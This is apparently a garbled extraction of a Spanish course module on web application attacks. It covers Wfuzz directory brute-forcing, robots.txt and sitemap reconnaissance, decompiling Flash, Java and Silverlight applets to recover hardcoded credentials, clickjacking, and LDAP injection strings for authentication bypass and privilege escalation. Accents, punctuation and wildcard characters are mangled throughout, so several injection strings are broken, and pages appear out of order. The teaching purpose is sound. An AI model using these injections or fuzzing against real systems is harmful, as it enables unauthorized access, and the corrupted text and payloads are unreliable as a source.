locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 23: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web

Figura 7 IFRAME sobre el sitio original

3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-

tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear

alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el

clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina

original

Figura 8 Colocacioacuten del IFRAME para engantildear al usuario

CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web

Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah

Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-

sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase

una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a

traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-

racioacuten de seguridad del plugin como se puede observar en la siguiente imagen

Figura 9 Configuracioacuten de seguridad de Flash Player

Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-

gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para

interactuar con el servidor Es por eso por lo que algunos navegadores aportan

directamente protecciones contra esta teacutecnica

bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus

usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-

sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario

sea engantildeado para hacer clic sobre un elemento previamente falseado

CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web

Figura 10 Clickjacking bloqueado

bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-

ca que permite a los programadores web incluir una cabecera x-frame-op-

tions que si figura establecida como deny impide que la paacutegina que la en-

viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de

establecer el valor como sameorigin para permitir que uacutenicamente pueda

ser cargada si la peticioacuten se realiza desde el mismo dominio

Figura 11 IFRAME bloqueado desde Internet Explorer 8

bull En el resto de navegadores como GoogleChromeOperaSafarieInter-

netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten

y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos

tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-

gador

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

